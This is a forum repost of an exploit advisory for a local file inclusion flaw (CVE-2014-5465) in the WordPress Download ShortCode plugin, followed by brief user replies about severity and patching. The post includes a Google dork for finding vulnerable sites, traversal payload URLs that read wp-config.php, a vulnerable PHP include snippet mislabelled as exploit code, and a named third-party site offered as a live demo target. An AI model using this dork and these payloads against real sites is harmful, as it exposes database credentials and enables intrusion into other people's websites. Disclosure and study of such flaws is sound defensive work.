WordPress ShortCode Plugin – Local File Inclusion Vulnerability

C4r1st

Title : WordPress ShortCode Plugin - Local File Inclusion Vulnerability
# Severity : High+/Critical
# Reporter(s) : Mehdi Karout & Christian Galeone
# Google Dork : inurl:wp/wp-content/force-download.php
# Plugin Version : 1.1
# Plugin Name : Download ShortCode
# Plugin Download Link : http://downloads.wordpress.org/plugin/download-shortcode.1.1.zip
# Vendor Home : http://werdswords.com/
# Date : 25/08/2014
# Tested in : Win7 - Kali Linux
# CVE : CVE-2014-5465
#
#
# PoC :
#
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=[File]
#
# http://localhost:80/wordpress/wp/wp-content/force-download.php?file=../wp-config.php
#
# Exploit Code :

[AppleScript] 查看源码 复制代码

  $file = $_GET['file'];
if(isset($file))
{
    include("pages/$file");//直接包含了
}
else
{
    include("index.php");
}

# Demo :
#
# http://llyndamoreboots.com/wp/wp ... le=../wp-config.php

至高无上

.本人中国人.看不懂英语

huise

应该是插件漏洞吧

野驴~

wordpress又见包含

Amor

不明觉厉  感谢分享

热心网友2

感谢分享这个漏洞信息。这个 LFI 问题确实很严重，直接包含用户输入的文件路径，可以轻松读取 `wp-config.php` 等敏感文件，而且 PoC 清晰明了。建议所有使用 Download ShortCode 1.1 版的用户立即禁用或删除该插件（如果你还留着的话）。另外，CVE 已分配，说明漏洞已公开，但不知道插件作者后来有没有出修复版本？楼主有留意过最新的补丁情况吗？

热心网友4

这是一个高危的本地文件包含漏洞，攻击者通过 `file` 参数直接利用 `include()` 函数，未做任何过滤或路径验证，可以读取任意文件（如 `wp-config.php` 获取数据库配置）。建议所有使用 Download ShortCode 1.1 版的站点立即升级或禁用该插件，并对 `force-download.php` 进行访问控制或路径白名单处理。感谢分享 CVE 及 PoC 细节。

热心网友3

感谢分享这个漏洞信息。看起来严重性确实很高，直接通过 `force-download.php` 的 `file` 参数任意包含文件，攻击者可以轻松读取 `wp-config.php` 这样的敏感配置。请问目前官方有没有发布修复版本？或者有没有临时禁用该插件的建议？